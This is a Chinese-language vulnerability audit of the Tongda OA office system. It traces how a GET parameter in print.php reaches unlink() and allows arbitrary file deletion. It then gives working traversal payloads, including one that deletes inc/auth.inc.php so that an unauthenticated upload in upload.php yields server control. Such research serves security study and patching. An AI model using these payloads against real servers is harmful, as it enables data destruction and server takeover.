通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台。
目录名称 | 用途 |
---|---|
attach | OA附件文件存放目录 |
bin | Apache、PHP、Zend等主程序及配置文件,服务配置程序等 |
data5 | MySQL数据库文件目录 |
logs | Apache等日志文件目录 |
MyAdmin | 通达OA的MySQL管理工具 |
mysql5 | MySQL主程序文件 |
nginx | Nginx Web应用服务 |
tmp | 临时文件目录 |
webroot | 通达OA的WEB根目录(PHP程序目录) |
1、/inc/expired.php
2、/inc/reg_trial.php
3、/inc/reg_trial_submit.php
前提条件:
/module/appbuilder/assets/print.php
<?php
$s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs";
$s_tmp .= "/" . $_GET["guid"];
if (file_exists($s_tmp)) {
$arr_data = unserialize(file_get_contents($s_tmp));
unlink($s_tmp);
$s_user = $arr_data["user"];
}
else {
echo "未知参数";
exit();
}
审计代码可以发现unlink函数中的存在变量$s_tmp
,溯源变量$s_tmp
。
$s_tmp
开始值为魔术常量__DIR__
拼接字符串/../../../../logs/appbuilder/logs
,魔术常量__DIR__
指向当前执行的PHP脚本所在的目录。
1、例如web路径为C:\wwwroot\webroot\
2、此处魔术常量__DIR__即为C:\wwwroot\webroot\module\appbuilder\assets
3、拼接后的$s_tmp值为
C:\wwwroot\webroot\module\appbuilder\assets/../../../../logs/appbuilder/logs
然后$s_tmp
拼接了GET请求参数guid导致了变量可控。下面只利用file_exists函数判断了文件是否存在然后将变量$s_tmp
带入了unlink函数中进行了执行,从而造成了任意文件删除漏洞。
漏洞演示
删除/module/appbuilder/assets/
目录下文件test.txt
?guid=../../../webroot/module/appbuilder/assets/test.txt
前提条件:
/general/data_center/utils/upload.php
if ($action == "upload") {
if ($filetype == "xls") {
code
}
}
else if ($filetype == "img") {
code
}
else {
code
}
@unlink($_FILES["FILE1"]);
}
当我们设置$action
为upload,$filetype
不为xls和img时,程序来到了else{}代码块。
$uploaddir = MYOA_ATTACH_PATH . "/data_center/attachment/";
在else{}代码块中,首先定义了$uploaddir变量用来存放上传目录路径。
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/attachment")) {
if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
mkdir(MYOA_ATTACH_PATH . "/data_center");
}
mkdir(MYOA_ATTACH_PATH . "/data_center/attachment");
}
然后检查了上传目录文件夹是否存在,不存在就创建。
if (isset($from_rep)) {
code
}
else {
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") {
$s_n = $repkid . "_" . $s_n;
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
}
}
接着检查变量$from_rep
是否设置,这里我们不传入变量$from_rep
,让程序执行逻辑进入else {}代码块,$s_n
变量存放了传入的文件名,然后判断了文件名第一位是否为字符串{
,不是就将传入的变量$repkid
与文件名进行拼接。最后将其带入到move_uploaded_file函数中移动到指定位置。
在/general/data_center/utils/upload.php
中程序包含了inc/auth.inc.php
进行权限认证。
include_once "inc/auth.inc.php";
利用任意文件删除漏洞删除inc/auth.inc.php
?guid=../../../webroot/inc/auth.inc.php
即可前台上传文件获取到服务器权限。